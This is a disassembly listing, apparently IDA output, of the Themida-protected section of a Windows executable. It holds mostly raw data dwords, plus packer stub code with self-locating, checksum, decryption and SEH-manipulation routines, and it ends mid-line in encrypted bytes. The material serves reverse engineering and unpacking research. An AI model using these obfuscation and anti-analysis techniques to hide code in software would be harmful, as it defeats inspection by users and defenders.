Themida_:0054CF70o dd 40614810h, 7FFE0304h, 5 dup(0) dd 8001FCFCh, 3 dup(0) dd 19h, 0F37DD352h, 0 dd 7FFE0304h, 3 dup(0) dd 1CE2A81h, 0 dd 385FF68h, 77E75CB5h, 3 dup(0) aWGx db '×#ÝwуX',0 dd 0 dd 0B80000h, 4 dup(0) dd 0FFFFCC53h, 35Bh, 2, 7 dup(0) dd 77E60000h, 2 dup(0) dd offset byte_584E21 dd 0A16CB0h, 0 dd offset dword_57D000 dd 0Ch dup(0) dd 0A0003Eh, 6D656854h, 616469h, 1Ch dup(0) dd 0FB57BA34h, 4 dup(0) dd 58h, 2 dup(0) dd 591D5ACBh, 0 aStE db 'èâºE',0 align 4 dd 2 dup(0) dd 0FA44B46Bh, 2 dup(0) dd 2, 3 dup(0) dd 2, 4 dup(0) dd 1, 2 dup(0) dd 0FED5BD02h, 0 dd 77E805D8h, 3 dup(0) dd 129FE3h, 0A19C37h, 2 dup(0) aLF db 'l±f,',0 align 10h dd 6 dup(0) dd offset byte_586443 aCycw db 'cyçw',0 align 8 aSne db 'S¥',0 dd 14E8h, 4 dup(0) aVcw db 'Ívçw',0 align 4 aVlcwhVc db '‚‹çwHÆvc',0 align 4 aIb db 'Ýi¡',0 dd 4 dup(0) dd offset dword_54E3C8 dd 3 dup(0) dd 1899h, 3 dup(0) dd offset dword_57AE68 dd 7 dup(0) aCw_1 db '¸|çw',0 align 10h dd 0 dd 6AB0h, 0 dd 0A169DDh, 2 dup(0) dd 0A1A00Fh, 3780h, 2 dup(0) dd 0E569h, 2 dup(22222222h), 0 a7Xs db '7Üxè',0 align 10h dd offset dword_580304 align 10h dd 1, 2 dup(0) dd offset byte_587721 dd 63h dup(0) aVcw_0 db 'Ívçw',0 align 4 dd 9 dup(0) dd 77E80618h, 4 dup(0) aKa4q db 'kA4Q',0 align 4 dd 0Bh dup(0) dd offset dword_590440 align 8 dd offset dword_54C824 dd offset byte_54EE9D dd 0 dd 0A169DDh, 31h dup(0) dd 5FDCh, 1Dh dup(0) dd 7FFE0304h, 0 aSacw db '™ çw',0 align 4 dd 5 dup(0) dd 4, 3 dup(0) dd 7FFE0304h, 9 dup(0) dd 12FF5Ch, 3 dup(0) dd 2, 6 dup(0) dd 10B6B22h, 4 dup(0) dd offset dword_54C824 dd 7 dup(0) dd 9Ch, 3 dup(0) dd offset byte_5CFCB9 dd 1DB000h, 0Eh dup(0) dd 0FFD5FEECh, 5 dup(0) dd 800086D1h, 9 dup(0) dd 80000h, 2 dup(0) dd 5CB10000h, 2 dup(0) dd 0FFFFFFFFh, 0 aBXa db '',1Bh,'X€',0 align 4 dd 0 dd 0D7D013B4h, 0Ah dup(0) dd 8A92h, 5 dup(0) dd 4FE8E415h, 5720F1h, 579B00h, 4 dup(0) dd offset byte_5C1203 dd 7 dup(0) dd offset dword_5876F8 dd 0A18C0Ah, 6 dup(0) dd offset dword_53F858+7CBh dd 6 dup(0) aIAc db 'À¨¿',8,' —[',0 dd 2, 14h dup(0) dd 400000h, 3 dup(0) dd offset word_5A5282 dd 3 dup(0) dd offset dword_54DB54 dd offset dword_5A4BE4 align 10h dd offset byte_58963D dd offset dword_5A7E24 dd 0 dd 6A5BF3DBh, 0D688D7E1h, 3 dup(0) dd 0A00000h, 0Ah dup(0) dd offset dword_5A5318 dd offset aAyhGpmaa8Gqns ; "ÇÊayh½£PŒ€a×8&,£qné\n" align 8 dd 304h, 2 dup(0) dd 90h, 0 dd 0FFFFFFFFh, 6 dup(0) dd 4, 0 dd offset byte_5AAEED dd 4 dup(0) dd 380FD7EEh, 7 dup(0) dd 77D6ADFEh, 4 dup(0) dd 12FF54h, 1Bh dup(0) dd offset word_57BE82 db 'Ö¹-\',0 align 4 dd 2 dup(0) dd 9D28EBh, 4 dup(0) dd 7FFE0304h, 57FCD2h, 2 dup(0) dd 2, 7 dup(0) dd 7FFE0304h, 2 dup(0) dd 12FF54h, 181FFB0h, 13A8h, 0A00A9Ah, 0 dd offset dword_5B98B0 dd 0FFFFFFFFh, 5 dup(0) dd 0A18C0Ah, 6 dup(0) dd 9500h, 2 dup(0) dd 7FFE0304h, 9 dup(0) dd 98h, 7391DAF1h, 4 dup(0) dd 0E1DE586h, 0 dd 1C34h, 6 dup(0) dd 7FFE0304h, 3 dup(0) dd offset dword_5CFE0C dd 3 dup(0) dd offset dword_5CFE0C dd 0FFFF9725h, 2 dup(0) dd 12FFE0h, 5 dup(0) dd 400000h, 5 dup(0) aTVa db '’&¢A',0 align 10h dd 0 dd 0FFAB37DCh, 2 dup(0) dd 0F1E21A7Ah, 0 dd 6CE40BEh, 3 dup(0) dd 0FFA652EFh, 0A59995h, 5C8D8Dh, 0Ah dup(0) dd 37050F7Bh, 4 dup(0) aBkt db 'K’Ì',0 align 4 dd 6 dup(0) dd offset dword_5AC530 dd 77F52E0Fh, 7FFE0304h, 0 dd offset byte_586443 align 8 dd 7FFE0304h, 0 dd 6AB0h, 0FFED00A0h, 2 dup(0) dword_54D520 dd 0A21568h, 2E275017h, 4 dup(0) ; DATA XREF: Themida_:0054D7E0o ; Themida_:0054D800o dd 0FE4C9673h, 0 dd 11111111h, 3 dup(0) dd 77D40000h, 5BFB86h, 0 dd 12FF54h, 0 aUi1 db '½ã©1"',0 align 4 dd 9 dup(0) dd 77DD59F0h, 7A0E7E5Fh, 1, 3 dup(0) dd 0FDEE0D5Ch, 4 dup(0) dd offset byte_5839F5 dd 3 dup(0) dd 304h, 0A1A037h, 6 dup(0) dd 8001FCFCh, 0 dd 34EB86D9h, 0FFA85198h, 28D0000h, 4 dup(0) dd offset byte_5B52CF dd 2 dup(0) dd offset byte_586443 dd 3 dup(0) aEac db '¼Ea—',0 align 4 dd 12FFF0h, 6 dup(0) dd 400000h, 0 dd 1, 6 dup(0) dd 1, 4 dup(0) dd 37054BA3h, 2 dup(0) dd offset byte_5C0023 dd 0Eh dup(0) dd 0A1A00Fh, 7FFE0304h, 2 dup(0) dd 0FFFF1A97h, 3 dup(0) dd 12FF54h, 0Bh dup(0) dd 0A19393h, 7 dup(0) dd 0AFB1CAh, 0 dd offset byte_5D05EF dd 2 dup(0) dd 0FFFF1A97h, 0Bh dup(0) dd 5AE0h, 7FFE0304h, 3 dup(0) dd 84h, 0 dd offset byte_5A3193 align 10h dd 0B805h, 6 dup(0) dd 7FFE0327h, 434DD212h, 0A21568h, 2 dup(0) dd offset dword_54D520 dd 2 dup(0) aNgr db 'ÙGR',0 align 10h dd offset dword_54D520 dd 0BAAAh, 5BBD25h, 4 dup(0) dd 0E421C71Ah, 0C3C59F02h, 2 dup(0) dd 8AA7h, 0FFFFFFFCh, 2 dup(0) aKX db 'k%X',0Dh,0 align 4 dd 2 dup(0) dd 5E0EDFh, 4 dup(0) dd offset unk_4DF000 aI4h db 'œi4H',0 align 4 dd 7 dup(0) dd 2B0FEEE9h, 0B2h dup(0) dword_54DB54 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:0054D184o dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00A1A0h dd 24448BE0h, 0E0FF04h, 16h dup(0) dd 24h, 4 dup(0) dd 3 dup(33333333h), 7FFE0304h, 2Ah, 2 dup(0) dd offset word_5AC1A6 aAi db '€›±',0Ah,0 align 4 dd 3 dup(0) dd 0DCh, 7 dup(0) dd 0FFA4B134h, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd offset dword_58A828 dd 2 dup(0) aS_ db '‘ÉÌ_',0 align 10h unicode 0, <Ä>,0 align 8 dd 7FFE0304h, 70h, 0 dd 6BACh, 86555974h, 3 dup(0) dd 881857C9h, 0 dd 7FFE0304h, 4 dup(0) dd offset byte_5BACF1 aECw_0 db '…Ççw',0 align 10h dd 0A6E31C02h, 0D2081571h, 0AE7D4AFBh, 0D8h, 18D6D51Bh dd 3 dup(0) dd offset word_57BE82 dd 2Eh dup(0) dd 6469h, 49F6D778h, 2 dup(0) dd 56DCE7FBh, 3 dup(0) dd 17Eh, 0 dd 1, 3 dup(0) dd offset byte_5A8363 dd 1CC9F511h, 3 dup(0) dd offset dword_457444+29DBFh align 10h dd 0A169DDh, 0FFFFA01Ch, 2 dup(0) dd 32597F5Dh, 0E569h, 1000h, 0 dd 0FFA78908h, 7 dup(0) dd 28D0000h, 6 dup(0) dd 62h, 3 dup(0) dd 0A169DDh, 8A31A6B6h, 4 dup(0) dd offset dword_5CFE0C dd 0 dd 2A0114h, 2 dup(0) a_F db '.ÜÆ”',0 align 10h dd 4 dup(0) dd 0B753FBF4h, 0 dd 1D9F49h, 5 dup(0) dd 7FFE0304h, 3 dup(0) aHSw db 'h>èw',0 align 4 dd 1, 2 dup(0) dd 77E776CDh, 27310304h, 2 dup(0) dd offset dword_5C12C4 dd 900Bh, 4 dup(0) aQsr db '³ïsr',0 align 10h dd 0FFFFFFF3h, 0 dd 259208Ah, 586455h, 7FFE0304h, 0 dd 6AB0h, 0FFFFFFFFh, 5 dup(0) aEac_0 db '¼Ea—',0 align 4 aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Ch dup(0) aCnvu db '炞',0 align 4 dd 1, 0 dd 1, 3 dup(0) aSrs db 'sr˜Ð',0 align 8 dd offset dword_5876F8 dd 3 dup(0) dd offset byte_5879F3 align 10h dd 0FFFFA2F4h, 0 dd 6AB0h, 8AA7h, 0E80h, 0A1A313h, 0FFFF7559h, 0Bh dup(0) dd 6AB0h, 0 dd 0FFFFFF68h, 6 dup(0) dd offset dword_5C4CC0 dd 0 dd 0A13E3Bh, 0Ah dup(0) aCw_2 db '&Ççw',0 align 4 dd 0E0F70000h, 1Ch dup(0) dd 77DD0000h, 3 dup(0) dd 380FD7EEh, 5 dup(0) dd 3D94h, 6 dup(0) dd 4, 6 dup(0) dd 69DDh, 0 dd 0A12BDEh, 7FFE0304h, 0 dd 94h, 7FFE0304h, 0FFAB37DCh, 4 dup(0) aG_fb db 'ƒ_äB',0 align 8 dd offset byte_5C1203 dd 2420008h, 12FFA4h, 3FEEh, 0D1139668h, 2 dup(0) dd 0A00000h, 5803D5h, 5 dup(0) dd 0FFFFh, 576FE082h, 7 dup(0) dd 0A223E8h dword_54E3C8 dd 0 ; DATA XREF: Themida_:0054CAD8o dd 547Ch, 7 dup(0) dd 2A0114h, 0 dd 1F8Fh, 0FB57239Ah, 7FFE0304h, 77EBA6E9h, 3 dup(0) dd 0A37FD8h, 2 dup(7FFE0304h), 0 dd 0A19234h, 3 dup(0) dd offset byte_5C138D dd 6 dup(0) dd 0E3030000h, 7 dup(0) dd 33AB6305h, 0Ah dup(0) dd offset byte_5A57ED dd 2 dup(0) dd offset byte_5CE57D dd 6 dup(0) dd offset byte_5CFCB9 dd 4 dup(0) dd 24A6B9Ch, 0 dd 32FDDC04h, 0FFFFFFFDh, 0 dd offset byte_58BEA5 dd 9 dup(0) dd 7FFE0304h, 25A0000h, 4 dup(0) dd 14EBh, 5A0934h, 74h, 77E7C657h, 0 dd 0A00A9Ah, 4 dup(0) dd 77E7FB17h, 77F5180Bh, 5C52D1h, 0 dd 12FFC4h, 2 dup(0) aHM db 'h',9,'Œ|',0 align 8 dd offset word_5865EA dd 3 dup(0) dd 7FFE0304h, 4 dup(0) dd offset word_5969F6 dd 3 dup(0) dd 385FF68h, 4 dup(0) aZD db 'zÌÜ„',0 align 4 dd 0 dd 24A7FFFh, 0Dh dup(0) aKz db '¸ÔKZ',0 align 10h dd offset word_5D738E align 8 a6666 db '6666',0 align 10h dd 3 dup(0) aIhibcdx db 'ihiCdX',0 dd 0A00FE6h, 2Ch dup(0) aUlJCw db 'žL;',9,'†Äçw',0 align 4 dd offset byte_5D000F dd 4 dup(0) dd 9096h, 48CC51h, 6 dup(0) dd 1, 2 dup(0) dd offset aLS ; "`‹\\$$è" dd 3 dup(0) dd 0DE000h, 0C7246BA2h, 2 dup(0) dd 0FFFFA4C0h, 15h dup(0) dd 0A00000h, 25D0000h, 0FD7CA5Eh, 6 dup(0) dd 7FFE0304h, 0 dd offset dword_5C12C4 dd 5 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd offset dword_5CFE0C dd offset dword_5A4E9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54E900: ; CODE XREF: start:loc_54B46Bj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 610349Fh mov [ebp+61030F5h], edx mov [ebp+61030E9h], esi mov [ebp+61021C9h], eax cmp dword ptr [ebp+6101C21h], 0 jz short loc_54E938 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54E938: ; CODE XREF: start+6D916j mov eax, [esp+40h+var_1C] mov [ebp+6102089h], eax push 45h call sub_54E9EC push 783749Ah call sub_54EA32 push 0A894B25h call sub_54EA32 jmp loc_54EB76 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54E9EC proc near ; CODE XREF: start+6D930p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 610358Dh mov ebx, edx mov [ebp+var_28], 0 loc_54EA08: ; CODE XREF: sub_54E9EC+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54EA27 mov eax, [ebp+arg_0] mov [ebx+61034F7h], eax inc [ebp+arg_0] inc ebx jmp short loc_54EA08 ; --------------------------------------------------------------------------- loc_54EA27: ; CODE XREF: sub_54E9EC+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54E9EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54EA32 proc near ; CODE XREF: start+6D93Ap start+6D944p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61035D6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54EA58: ; CODE XREF: sub_54EA32+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54EA58 mov [ebp+var_84], 0 lea edi, [edx+61034F7h] lea esi, [ebp+var_80] loc_54EA88: ; CODE XREF: sub_54EA32+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54EA94: ; CODE XREF: sub_54EA32+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54EA94 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54EA88 popa leave retn 4 sub_54EA32 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54EAD2 ; --------------------------------------------------------------------------- loc_54EACE: ; CODE XREF: Themida_:0054EAD5j inc dword ptr [ebp-4] inc esi loc_54EAD2: ; CODE XREF: Themida_:0054EACCj cmp byte ptr [esi], 0 jnz short loc_54EACE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54EB63 ; --------------------------------------------------------------------------- loc_54EAE4: ; CODE XREF: Themida_:0054EB66j mov dword ptr [ebp-8], 0 jmp short loc_54EB5A ; --------------------------------------------------------------------------- loc_54EAED: ; CODE XREF: Themida_:0054EB5Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54EB47 ; --------------------------------------------------------------------------- loc_54EAFD: ; CODE XREF: Themida_:0054EB4Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54EB1F cmp bl, 39h ja short loc_54EB1F sub bl, 30h jmp short loc_54EB41 ; --------------------------------------------------------------------------- loc_54EB1F: ; CODE XREF: Themida_:0054EB13j ; Themida_:0054EB18j cmp bl, 61h jb short loc_54EB31 cmp bl, 66h ja short loc_54EB31 sub bl, 61h add bl, 0Ah jmp short loc_54EB41 ; --------------------------------------------------------------------------- loc_54EB31: ; CODE XREF: Themida_:0054EB22j ; Themida_:0054EB27j cmp bl, 41h jb short loc_54EB41 cmp bl, 46h ja short loc_54EB41 sub bl, 41h add bl, 0Ah loc_54EB41: ; CODE XREF: Themida_:0054EB1Dj ; Themida_:0054EB2Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54EB47: ; CODE XREF: Themida_:0054EAFBj cmp dword ptr [ebp-0Ch], 2 jb short loc_54EAFD cmp dword ptr [ebp-10h], 0 jbe short loc_54EB57 mov eax, [ebp-10h] stosb loc_54EB57: ; CODE XREF: Themida_:0054EB51j inc dword ptr [ebp-8] loc_54EB5A: ; CODE XREF: Themida_:0054EAEBj cmp dword ptr [ebp-8], 2 jb short loc_54EAED add edx, 4 loc_54EB63: ; CODE XREF: Themida_:0054EAE2j cmp edx, [ebp-4] jb loc_54EAE4 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54EB76: ; CODE XREF: start+6D949j mov ecx, 7000h lea edi, [ebp+610371Ch] loc_54EB81: ; CODE XREF: start+6DB71j dec byte ptr [edi] inc edi dec ecx jnz short loc_54EB81 mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+6103828h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, edx push 0 push eax call sub_54EBBF and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54EBBF proc near ; CODE XREF: start+6DBA3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_54EBBF endp ; --------------------------------------------------------------------------- db 0BAh dd 4EA70CCFh, 0B86660F1h, 0E981E3AAh, 6A53EF34h, 0E9C22B61h dd 14h, 9CF7D77h, 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h dd 0FFF00025h, 0FF98AFFh, 0CA8BDFB7h, 8166FF33h, 755A4D38h dd 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h dd 58Fh, 0C4830000h, 3B958D04h, 52061038h, 35FF64h, 64000000h dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h dd 8109745Ah, 10000EEh, 0EBEB4000h, 33C7E8Bh, 503F81FEh dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh dd 0B0A981h, 10000000h, 33590000h, 8B51C3C0h, 5510244Ch dd 0E8h, 0ED815D00h, 6103846h, 3804858Dh, 81890610h, 0B8h dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 5E8h, 46747700h dd 0BE9F2F3h, 23000000h, 17653E1Dh, 4765AEE6h, 0F5BC814h dd 68Bh, 9AD38100h, 0F54A270h, 0A8Eh, 48E0F00h, 66000000h dd 6649A7BBh, 8166D98Ch, 803474DBh, 0E38104E1h, 2AD09204h dd 48F0Fh, 8A520000h, 0C90A5BFCh, 3C850Fh, 8B500000h, 85C75BD9h dd 6102209h, 1, 7E8h, 0A4797500h, 97DB47E2h, 10E9h, 0EEAF6700h dd 0BF30F16Bh, 99CF0D58h, 3692F422h, 17E95BFFh, 51000000h dd 90EB8051h, 85C75B5Bh, 6102209h, 0 dd 6B3CDB81h, 8589064Fh, 6101499h, 7E9h, 77704800h, 975E2BE4h dd 8589DA8Bh, 6101D45h, 5E8h, 442CC100h, 0B6519248h, 0F5F5B33h dd 0C781DEBFh, 5F51h, 81665656h, 58BA99F2h, 0FC9335Bh dd 282h, 8BC38B00h, 11E80F34h, 4E000000h, 0D703CC48h, 0DDEB4C5Ah dd 4A875C60h, 0AA7B5F13h, 5889B350h, 0D1F68158h, 0F356530h dd 1183h, 0CE900h, 53530000h, 0A5B87AAFh, 8458208Ah, 0C681918Fh dd 4DA7BFB3h, 81DBE480h, 0B9DCAEC6h, 0C78B665Bh, 8FD78B56h dd 0C3810F04h, 2BE6B1EEh, 10E9h, 1D8B3E00h, 0D460E516h dd 0B782B194h, 42AE4D6Eh, 4E983B7h, 81D68B66h, 0FFA194F9h dd 30850FFFh, 0E8000000h, 0Eh, 9A7F9187h, 0FEAA87FCh, 0F7C78002h dd 0D0BA7F02h, 5A55F5F0h, 25E9h, 69F5900h, 97BD349Dh, 0E29511FFh dd 81CC864Eh, 0B3D59418h, 0FF49E9E1h, 1A13FFFFh, 71046CF9h dd 0C7D70689h, 4EB8964h, 215h, 649E9h, 0BE900h, 0C2DF0000h dd 0ECCA480Ch, 3E2865B9h db 4Ah byte_54EE9D db 60h, 0Fh, 8Eh ; DATA XREF: Themida_:0054CD8Co dd 6, 1D919509h, 0B80610h, 29000000h, 101BE1B5h, 24548B06h dd 0D18B6028h, 1FAD9D89h, 89610610h, 10147585h, 1810F06h dd 0FC000000h, 3CBEh, 68D0F00h, 31000000h, 100B01BDh, 24740306h dd 0FD9D2924h, 66061015h, 1D8501ADh, 3061022h, 0FC242444h dd 0F525050h, 287h, 0F616000h, 9CB86031h, 5307A19Dh, 585A6159h dd 0E9240489h, 0Bh, 0CEE51CC6h, 0E2F02B76h, 0E9AA60DBh dd 5, 8FFB44FDh, 78408BAEh, 1289BD29h, 44030610h, 9D892824h dd 6103055h, 0F18408Bh, 0B8Ah, 0BF0F6000h, 68E881FEh, 613E0124h dd 8589FC40h, 6103A19h, 50BA6660h, 0F08B6630h, 840F5861h dd 6, 23698589h, 708B0610h, 359D8978h, 8306101Bh, 0BD311CC6h dd 6100E71h, 24247403h, 0B5BD8DF9h, 60061020h, 2395BD89h dd 0AD610610h, 244403F8h, 75BD8924h, 0AB061023h, 59BD8DFCh dd 0E906102Fh, 14h, 0DAD63271h, 9D360034h, 1572D9E4h, 5804B534h dd 334AA798h, 5E9ADh, 0F4580000h, 3C88370h, 29242444h dd 100C4985h, 0CD9D0906h, 9006101Bh, 15800Fh, 52500000h dd 8E9h, 6363A500h, 200DBB01h, 60310F85h, 50585A61h, 158A0Fh dd 0E8600000h, 8, 0BFD2AE1Dh, 0F9B5030Ah, 1493B85Bh, 9061682Ah dd 0BD89ABF5h, 610166Dh, 91B86660h, 6840F48h, 0F000000h dd 81h, 0BD8D6100h, 6100601h, 0BE9h, 0BE58FA00h, 21804C49h dd 0A94A45EEh, 3F8ADF9h, 0FC282444h, 8E9h, 0B7924700h dd 0F07AB77Eh, 9529AB1Bh, 6101F69h, 0FDBD315Eh, 0FF061006h dd 103A198Dh, 19BD8306h, 6103Ah, 44C71075h, 1C24h, 0B58D0000h dd 6103E4Ah, 0AD56E6FFh, 28244403h, 8ADF8B97h, 1023E585h dd 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 7585FF04h, 0E9061014h, 0FFFFFF6Fh dd 0AE95Eh, 9DDB0000h, 7CD353B7h, 4E26AA5Fh, 8C1BD89h dd 858B0610h, 6101475h, 2F358D09h, 9D290610h, 6101255h dd 0B589E0D1h, 6101295h, 6018503h, 9D290610h, 6101295h dd 160F62Bh, 1005F995h, 9661F506h, 31AD66F9h, 102F618Dh dd 108F0F06h, 0E9000000h, 0Bh, 9AEF649Dh, 0F334AB4Ch, 0C19E1FF8h dd 3F802E0h, 1020B585h, 7E906h, 0ED8E0000h, 0ABD7DA8Bh dd 0B840F11h, 60000000h, 585F37BAh, 0A5BB662Fh, 29966163h dd 101931BDh, 9529AD06h, 6100AFDh, 24244C8Bh, 0BE9h, 47E82A00h dd 0F6649EE1h, 0CDE1F487h, 0B8A0Fh, 0F600000h, 9529D7B7h dd 6100239h, 24440361h, 899D8924h, 8906102Eh, 0F1C2444h dd 0E88h, 95896000h, 61006FDh, 1659D8Bh, 96610610h, 31559529h dd 89AC0610h, 1021E5BDh, 0FC93206h, 168Fh, 11E900h, 98630000h dd 0DE89B9C8h, 0AD1DE0BBh, 462F880h, 8929CA1Fh, 10011985h dd 0F5C1FE06h, 830FD0D0h, 99h, 0AE9h, 11345100h, 0A21E157Ch dd 0D0CAFEA2h, 82830FD0h, 0E9000000h, 5, 0A9C107C7h, 0FD0D0BAh dd 7082h, 6830F00h, 29000000h, 100BCDB5h, 959D0106h, 0D006100Eh dd 56820FD0h, 0F8000000h, 890FC9FEh, 0FFFFFFACh, 6890Fh dd 0BD290000h, 6102A21h, 0FC20C483h, 0FC2444C7h, 0 dd 2D398D89h, 1B80610h, 89000000h, 100A999Dh, 0A38D8D06h dd 0E9061073h, 0Ah, 7CB3FFE9h, 0DF1734BFh, 8589616Dh, 6100D55h dd 0B501E1FFh, 61001C1h, 0E585C6F8h, 61023h, 16ADB589h dd 0E9610610h, 7, 0C85E22ABh, 0C203E40Fh, 1600008h, 10097D85h dd 6EBF6606h, 605061F4h, 0FA6DB966h, 12E95250h, 0D7000000h dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5155DEDBh, 60310FB4h dd 61585A61h, 60243489h, 143D8503h, 830F0610h, 6, 0F25BD89h dd 89610610h, 10404AB5h, 0DDBD2906h, 8906102Fh, 10405A8Dh dd 2DBD8906h, 8D061009h, 103F1AB5h, 6E906h, 161E0000h dd 0EFBE86A0h, 8EA1858Dh, 2960005Bh, 100099B5h, 0D0FF6106h dd 3DBD8B60h, 6606100Dh, 2961DE8Bh, 100BD59Dh, 10E95E06h dd 24000000h, 9A350C25h, 72215CBAh, 6E588A4Dh, 0F8523FC8h dd 198D31C3h, 60061021h, 4AB58B61h, 0F061040h, 0B85h, 6E900h dd 63DE0000h, 448C5452h, 405A8D8Bh, 0DE90610h, 80000000h dd 92C2DDEDh, 2B3DAA64h, 5FB06FB1h, 0F960C02Bh, 0F9D98B61h dd 0C6E9F5h, 0EE90000h, 0AD000000h, 0E27565C4h, 157FD26Eh dd 0A7CFDBDFh, 0F26329Bh, 0D80h, 8E900h, 0F4900000h, 46B6DA88h dd 2B21C5Dh, 5870F60h, 66000000h, 5F56DA81h, 59E961h, 9D890000h dd 6100CA1h, 9D31C232h, 6101C91h, 751D7A05h, 0CC8AF88Ah dd 68D0Fh, 85890000h, 6100BCDh, 9D89C8D3h, 6101C1Dh, 0D1084235h dd 0D8C0F98h, 60000000h, 72D98166h, 0A1BD89D2h, 61061015h dd 0FE9h, 0BF13AA00h, 19733905h, 24EA61Ch, 908DE8B0h, 0AFCCAFEh dd 0A5850FD2h, 60FFFFFFh, 0ABB694B4h, 8B0F4B61h, 8, 0F19D2960h dd 6106100Ah, 0EE946h, 58C30000h, 0F6FD4A91h, 0D2AC862Eh dd 3EA09E05h, 850FDB0Bh, 0FFFFFF45h, 188E0Fh, 820F0000h dd 12h, 0DE9h, 8B514200h, 0BC39A48Eh, 361FA045h, 89CF8AA2h dd 102A0195h, 1000006h, 101A759Dh, 89000006h, 1011F9BDh dd 60000006h, 94E08166h, 6130h, 18E19529h, 858D0610h, 6103A32h dd 0DB816660h, 66609EFFh, 25C4C681h, 85896161h, 6101921h dd 73858DF9h, 0F06103Eh, 681h, 799D8900h, 89061004h, 1006D585h dd 10E806h, 3E6C0000h, 3E7C8A6h, 21A6D9C0h, 4731F214h dd 805129E0h, 5A5E30C1h, 0C281FB8Bh, 74B5h, 0B8F98Bh, 66000000h dd 1C8BF38Bh, 1AB2BF02h, 0F381089Fh, 307DD576h, 2E698D89h dd 0F3810610h, 26F7B06Bh, 399F381h, 0CE9274Ch, 65000000h dd 0DCAAFD16h, 5F9AC863h, 89B0ABF8h, 9D09021Ch, 610311Dh dd 12819589h, 0E8810610h, 63CE58E1h, 81F9BF0Fh, 0CE58DDC0h dd 0BE863h, 887D0000h, 0CC3149CDh, 251B335Ah, 0BD9D8959h dd 5E061030h, 8C1CF881h, 850FFFFFh, 28h, 0AE8h, 39610A00h dd 0BA82F257h, 6602DB74h, 5FFFCDBFh, 22E9h, 8E601F00h dd 27AD3AF3h, 87527C98h, 0EF54F3D0h, 2DEFBB60h, 39B605DAh dd 0FF58E961h, 21E6FFFFh, 0EB06A7D4h, 14h, 3 dup(0) dd 8500h, 45858D00h, 89061042h, 10012985h, 86BD8306h, 61041h dd 12B840Fh, 85C60000h, 61023E5h, 4E856h, 6D390000h, 8B50D41Fh dd 8B042444h, 24448900h, 0B5FF5804h, 6101499h, 3A32858Dh dd 